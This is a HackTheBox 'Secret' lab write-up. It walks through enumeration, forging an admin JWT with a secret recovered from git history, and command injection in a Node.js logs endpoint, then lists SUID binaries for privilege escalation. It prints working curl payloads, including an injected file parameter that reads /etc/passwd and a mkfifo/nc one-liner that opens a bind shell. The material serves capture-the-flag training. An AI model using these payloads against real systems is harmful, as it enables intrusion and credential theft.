Secret - HackTheBox Writeup
Secret
Enumeration
Nmap Scan
Nmap scan report for 10.10.11.120
Host is up (0.091s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/27%OT=22%CT=1%CU=34300%PV=Y%DS=2%DC=T%G=Y%TM=621BEA2
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=107%TI=Z%CI=Z%TS=A)OPS(O1=M5
OS:4BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O
OS:6=M54BST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%D
OS:F=Y%T=40%W=FAF0%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 135.77 ms 10.10.16.1
2 46.97 ms 10.10.11.120
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.43 seconds
Gobuster scan
gobuster dir -w Documents/wordlists/common.txt -u http://10.10.11.120/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.120/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: Documents/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/02/27 23:52:45 Starting gobuster in directory enumeration mode
===============================================================
/api (Status: 200) [Size: 93]
/assets (Status: 301) [Size: 179] [--> /assets/]
/docs (Status: 200) [Size: 20720]
/download (Status: 301) [Size: 183] [--> /download/]
===============================================================
2022/02/27 23:53:32 Finished
===============================================================
If we download the zip given in the site we get a nodejs project.
This project contains a .env
with the following content:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
Register
If you have a quick overview on the project and on the api docs you can check some rules for user registration:
// Schema for user registration
const schema = {
name: Joi
.string()
.min(6)
.required(),
email: Joi
.string()
.min(6)
.required()
.email(),
password: Joi
.string()
.min(6)
.required()
};
Note: JOI is being used for data validation.
After reading the code and the api rules you can send a post request with curl or postman, like this:
curl -i -X POST -H 'Content-Type: application/json' -d '
{
"name": "0xuser",
"email": "[email protected]",
"password": "0xuser"
}' http://10.10.11.120/api/user/register
To which we receive the answer:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Feb 2022 22:32:21 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 18
Connection: keep-alive
X-Powered-By: Express
ETag: W/"12-5OVclVIvkK2x0BcxV/3UB41sg5M"
{
"user": "0xuser"
}
Login
After that we can try to login with the registered user as explained in the api docs:
curl -i -X POST -H 'Content-Type: application/json' -d '
{
"email": "[email protected]",
"password": "0xuser"
}' http://10.10.11.120/api/user/login
To which we receive the answer:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Feb 2022 22:38:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: keep-alive
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoiMHh1c2VyIiwiZW1haWwiOiIweHVzZXJAZ21haWwuY29tIiwiaWF0IjoxNjQ2MDAxNDk1fQ.hSr3-mXwz2viWIpgnU-A3qs3rK5FifmvS1lvgDsANSg
ETag: W/"cf-aFiPO+R5SCa5kWfnmRqhgX57+/k"
We can see that we were succesfull since there is an auth-token
in the header
Accessing Private Route
Now we can access the private route with the JWT token we just got, like this:
curl -i -H '
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoiMHh1c2VyIiwiZW1haWwiOiIweHVzZXJAZ21haWwuY29tIiwiaWF0IjoxNjQ2MDAxNDk1fQ.hSr3-mXwz2viWIpgnU-A3qs3rK5FifmvS1lvgDsANSg'
http://10.10.11.120/api/priv
(We don’t need to specify the method now, because curl’s default method is GET)
To which we receive the answer:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Feb 2022 23:01:22 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
Connection: keep-alive
X-Powered-By: Express
ETag: W/"37-nGc45xoZu3r/ZQKUraXaBdGxStg"
{
"role":
{
"role": "you are normal user",
"desc":"0xuser"
}
}
If we change the token we get the Access Denied
answer, so we need to try something else to go further.
If we go to jwt.io and we place there our encoded token we get the following payload:
However, we still need to verify our signature with the secret, which might remember us that TOKEN_SECRET
variable we found earlier in the .env
.
So, if you try to fill the secret field with secret
you get the new token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoiMHh1c2VyIiwiZW1haWwiOiIweHVzZXJAZ21haWwuY29tIiwiaWF0IjoxNjQ2MDAxNDk1fQ.UweORL0OjtOPDCPEJMAjQ6B3c5a-kHvJ8qXiWnxo7tU
Unfortunately this is not exactly it, since you still get Access Denied
.
After some time trying stuff out and re-reading the code I remembered this was a git and instantly went to check the log. To my surprise I found the following log:
❯ git log --oneline
e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit
So, if we do git checkout
to any commit previous to 67d8da7
we will get a different .env
:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
If we replace that on the secret field we get the following token:
With this token, we’ll receive the normal user message.
However, if we check the routes
folder, we can easily notice that the username theadmin
has more privileges than our regular user. So, if we change the "name"
field from "0xuser"
to "theadmin"
and we generate the token, we can make a request with it:
curl -i -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IjB4dXNlckBnbWFpbC5jb20iLCJpYXQiOjE2NDYwMDE0OTV9.psPLq8m0vY4ROI97tcyAGbrLme-DCg6cIg7-RuloFE8' http://10.10.11.120/api/priv
And we get a different answer:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Feb 2022 00:01:38 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 76
Connection: keep-alive
X-Powered-By: Express
ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"
{
"creds":
{
"role": "admin",
"username": "theadmin",
"desc": "welcome back admin"
}
}
Exploit
In routes/private.js
we have the following code segment:
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`; // SUS
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
This makes it obvious that we can have remote code execution if we overwrite file
in the request.
Just for test purposes we can try the payload:
❯ curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IjB4dXNlckBnbWFpbC5jb20iLCJpYXQiOjE2NDYwMDE0OTV9.psPLq8m0vY4ROI97tcyAGbrLme-DCg6cIg7-RuloFE8' 'http://10.10.11.120/api/logs?file=;;cat+/etc/passwd' | sed 's/\\n/\n/g'
80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dasith:x:1000:1000:dasith:/home/dasith:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin
Note: the sed is just for readability purposes, because the the \n will be escaped in the curl answer
And if we do the same with id
, we get the answer uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
To get a shell we can use the following payload:
curl -i -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjFiZmFmMGU1MjMwZTA0NWQ5ODFiMDEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6IjB4dXNlckBnbWFpbC5jb20iLCJpYXQiOjE2NDYwMDE0OTV9.psPLq8m0vY4ROI97tcyAGbrLme-DCg6cIg7-RuloFE8' -G --data-urlencode 'file=;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lnvp 1338 >/tmp/f' http://10.10.11.120/api/logs
And then we simply nc -nv 10.10.11.120 1338
in our local machine and we’ll have a remote connection.
Now, to get the user flag we’ll just need to cat ../user.txt
.
Privilege Escalation
After some trial and error I decided to search for SUID binaries with the command:
❯ find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000
$ /usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
We can see a weird binary count
in /opt
. If we go there, we have 3 files:
-rw-r--r-- 1 root root 16384 Oct 7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
code.c contains the following code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory namfe: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
Comments